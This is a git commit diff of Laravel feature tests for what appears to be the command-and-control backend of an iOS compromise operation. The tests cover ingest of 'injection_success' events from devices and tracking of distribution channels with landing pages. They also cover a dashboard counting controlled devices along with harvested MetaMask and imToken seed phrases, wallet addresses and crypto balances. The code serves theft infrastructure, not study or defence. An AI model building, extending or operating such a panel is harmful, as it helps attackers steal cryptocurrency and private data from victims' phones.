feat: new channel

This commit is contained in:
hashbro
2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
+59 -4
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
@@ -213,15 +214,69 @@ class AdminAgentPortalTest extends TestCase
public function dashboard_counts_smoke(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
$d1 = Device::query()->create([
'device_id' => 'd1',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd2',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd3',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => 'TTestAddress111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '10.5',
'trx' => '2',
'eth' => '0',
'btc' => '0.001',
'bnb' => '1.25',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'chain_type' => 'ETH',
'usdt' => '1.5',
'trx' => '0',
'eth' => '0.1',
'btc' => '0',
'bnb' => '0',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 2)
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
->assertJsonPath('data.total', 3)
->assertJsonPath('data.mnemonic_count', 2)
->assertJsonPath('data.address_count', 2)
->assertJsonPath('data.balances.usdt', '12')
->assertJsonPath('data.balances.trx', '2')
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
}
#[Test]
+66 -40
View File
@@ -19,7 +19,7 @@ class ChannelProjectServiceTest extends TestCase
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
private const NEW_CHANNEL_ID = 'FAFA9988';
private const NEW_CHANNEL_ID = '3.1.07';
protected function setUp(): void
{
@@ -32,6 +32,7 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder_new.python' => 'python3',
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
'coruna.channel_domains' => ['fallback.test'],
'coruna.xxbb.channel_c' => '33333333333333333333333333333333',
]);
}
@@ -67,6 +68,12 @@ class ChannelProjectServiceTest extends TestCase
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) {
$this->fail('unable to create details dir');
}
file_put_contents($details.'/show.html', 'show');
return $dir;
}
@@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_code' => self::NEW_CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'channel_ver' => self::NEW_CHANNEL_ID,
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
'domains' => ['deployment' => [], 'reporting' => []],
])),
]);
@@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
$this->assertNull($result['weifile_path']);
$this->assertSame('', $result['support_path']);
$this->assertSame('/details/', $result['daily_path']);
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, '33333333333333333333333333333333')
&& str_contains($joined, '--apply')
&& ! str_contains($joined, '--random-c');
});
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, '--channel-code')
&& str_contains($joined, '--channel-ver')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py')
&& ! str_contains($joined, '--apply');
&& str_contains($joined, '--channel-out')
&& str_contains($joined, '--landing-template')
&& str_contains($joined, 'test');
});
}
#[Test]
public function new_builder_requires_staged_weifile(): void
public function new_builder_requires_env_channel_c(): void
{
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
if (is_file($index)) {
unlink($index);
}
config(['coruna.xxbb.channel_c' => '']);
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('请先运行构建脚本');
$this->expectExceptionMessage('XXBB_CHANNEL_C');
app(ChannelProjectService::class)->generate(
self::NEW_CHANNEL_ID,
@@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
@@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase
}
#[Test]
public function support_links_use_weifile_path_for_new_builder(): void
public function support_links_use_channel_path_for_new_builder(): void
{
$channel = new Channel([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'domains' => ['channel.test'],
]);
$this->assertSame([], $channel->supportLinks());
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath());
$this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks());
}
#[Test]
public function store_new_builder_returns_zip_path(): void
public function store_new_builder_returns_channel_dir(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID)
->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html');
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertNotNull($channel);
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
$this->assertNull($response->json('data.weifile_path'));
$this->assertNotEmpty($response->json('data.download_url'));
$this->assertNull($response->json('data.zip_path'));
$this->assertNull($response->json('data.download_url'));
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py');
&& str_contains($joined, self::NEW_CHANNEL_ID);
});
}
#[Test]
public function destroy_new_builder_deletes_zip_not_details(): void
public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void
{
Process::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase
'user_id' => 0,
'status' => 1,
]);
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
if (! is_dir($zipDir)) {
mkdir($zipDir, 0775, true);
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) {
$this->fail('unable to create channel weifile dir');
}
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
file_put_contents($zip, 'zip');
if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) {
$this->fail('unable to create channel dir');
}
file_put_contents($channelDir.'/weifile/weifile.html', 'landing');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details)) {
mkdir($details, 0775, true);
@@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'delete_channel.py')
|| str_contains($joined, 'delete_channel_web.py');
});
$this->assertFileDoesNotExist($zip);
$this->assertDirectoryDoesNotExist($channelDir);
$this->assertFileExists($details.'/show.html');
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
}
#[Test]
public function reserved_names_cannot_be_new_channel_ids(): void
public function version_format_required_for_new_channel_ids(): void
{
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
$this->assertNull(Channel::normalizeNewChannelId('FAFA9988'));
$this->assertNull(Channel::normalizeNewChannelId('2.2.6'));
$this->assertNull(Channel::normalizeNewChannelId('22.2.66'));
$this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07'));
$this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66'));
$this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1'));
$this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0'));
}
}
+104
View File
@@ -0,0 +1,104 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\User;
use App\Services\FilterOptionsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class FilterOptionsTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_channel_options_include_remark_label_and_cache(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Channel::query()->create([
'channel_id' => '0.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => '测试',
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'builder_type' => Channel::BUILDER_OLD,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => null,
]);
Cache::flush();
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.channels'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试'])
->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']);
$this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
#[Test]
public function admin_agent_options_include_comment_label(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => '华东',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.agents'))
->assertOk()
->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']);
}
#[Test]
public function agent_only_sees_own_channels(): void
{
$agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]);
$other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create([
'channel_id' => '1.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $agent->id,
'status' => 1,
'remark' => '我的',
]);
Channel::query()->create([
'channel_id' => '2.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $other->id,
'status' => 1,
'remark' => '别人的',
]);
$this->actingAs($agent, 'agent')
->getJson(route('user.filterOptions.channels'))
->assertOk()
->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的'])
->assertJsonMissing(['value' => '2.0.01']);
}
#[Test]
public function channel_save_busts_options_cache(): void
{
Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300);
Channel::query()->create([
'channel_id' => '3.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
$this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
}
+75 -105
View File
@@ -4,10 +4,8 @@ namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
private const CHANNEL_ID = 'FAFA9988';
private const CHANNEL_ID = '3.1.07';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = [])
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
$server = array_merge([
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
], $headers);
return $this->call('POST', $path, [], [], [], $server, $enc['body']);
}
#[Test]
public function new_builder_device_uses_recent_visit_not_native_c(): void
public function core_routes_write_channel_from_ver_header(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
@@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase
'user_id' => 0,
'status' => 1,
]);
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'REMOTE_ADDR' => '203.0.113.9',
], json_encode([
'channelCode' => 'fafa9988',
'deviceVersion' => 'iOS 16.6',
'domain' => 'landing.example',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
'm' => 'iPhone12,8',
'pv' => '16.6',
], '1786468227899')['body'])->assertOk();
], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertNotSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void
public function core_routes_prefer_ver_over_sdkv(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], '1786468227899', [
'HTTP_VER' => '4.2.01',
'HTTP_SDKV' => '5.5.55',
])->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '2001:db8::9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame('4.2.01', $device->channel_id);
}
#[Test]
public function core_routes_accept_sdkv_when_ver_missing(): void
{
$this->xxbbPost('/u', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899')['body'])->assertOk();
'al' => [],
], '1786468227899', [
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function non_core_routes_do_not_write_channel_id(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon ability able about above absent absorb abstract absurd abuse access',
], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertSame('2001:db8::9', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function new_builder_device_matches_ipv4_mapped_ipv6(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '::ffff:203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899')['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function new_builder_device_without_visit_is_still_created(): void
public function core_without_ver_headers_still_creates_device(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
@@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase
$this->assertNull($device->source_domain);
}
#[Test]
public function invalid_ver_header_does_not_write_channel_id(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899', [
'HTTP_VER' => 'FAFA9988',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNull($device->channel_id);
}
#[Test]
public function old_builder_put_still_writes_payload_c(): void
{
@@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase
}
#[Test]
public function claimed_visit_is_not_reused_by_second_device(): void
public function later_core_request_fills_empty_channel_id(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '127.0.0.1',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$this->xxbbPost('/event', [
'd' => '111C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], '1786468227900', [
'HTTP_VER' => self::CHANNEL_ID,
])->assertOk();
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
$this->assertNull($second->channel_id);
$this->assertNotNull($second);
$this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
}
}
+20 -3
View File
@@ -16,6 +16,23 @@ class PageVisitTest extends TestCase
private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
#[Test]
public function hit_records_new_builder_version_channel(): void
{
Cache::flush();
$channel = '3.1.07';
$this->call('GET', '/statistic/t', [
'c' => $channel,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/channel/'.$channel.'/weifile/weifile.html',
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame($channel, $row->channel_id);
}
#[Test]
public function hit_records_visit_with_parsed_ua(): void
{
@@ -209,10 +226,10 @@ class PageVisitTest extends TestCase
->assertJsonPath('data.effective_pv', 3)
->assertJsonPath('data.effective_uv', 2)
->assertJsonPath('data.by_os.0.label', 'iOS')
->assertJsonPath('data.by_os.0.pv', 5)
->assertJsonPath('data.by_os.0.uv', 4)
->assertJsonPath('data.by_os.1.label', '其他')
->assertJsonPath('data.by_os.1.pv', 1)
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
->assertJsonPath('data.by_os.1.uv', 1)
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
}
#[Test]
+4
View File
@@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
$text = $last['text'] ?? '';
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text);
$this->assertStringContainsString($channel, $text);
}
+1 -117
View File
@@ -6,7 +6,6 @@ use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -14,7 +13,6 @@ use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
@@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase
$this->call('HEAD', '/vhx')->assertOk();
}
#[Test]
public function iptj_records_page_visit(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 15.8',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('iOS', $row->os);
$this->assertSame('15.8.4', $row->os_version);
$this->assertSame('Safari', $row->browser);
$this->assertSame('15.6.7', $row->browser_version);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test]
public function profile_creates_device_from_device_info(): void
{
@@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id);
$this->assertNull($device->user_agent);
}
#[Test]
@@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
}
}
#[Test]
public function iptj_logs_request_to_xxbb_folder(): void
{
Cache::flush();
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
@unlink($xxbbLog);
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)',
'HTTP_HOST' => 'landing.example',
'HTTP_CF_CONNECTING_IP' => '2001:db8::9',
'HTTP_X_FORWARDED_FOR' => '2001:db8::9',
'REMOTE_ADDR' => '104.16.1.1',
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->assertFileExists($xxbbLog);
$xxbbBody = (string) file_get_contents($xxbbLog);
$this->assertStringContainsString('/api/iptj', $xxbbBody);
$this->assertStringContainsString('56885688', $xxbbBody);
$this->assertStringContainsString('2001:db8::9', $xxbbBody);
$this->assertStringContainsString('104.16.1.1', $xxbbBody);
$this->assertStringContainsString('"recorded":true', $xxbbBody);
if (is_file($c2Log)) {
$this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log));
}
}
}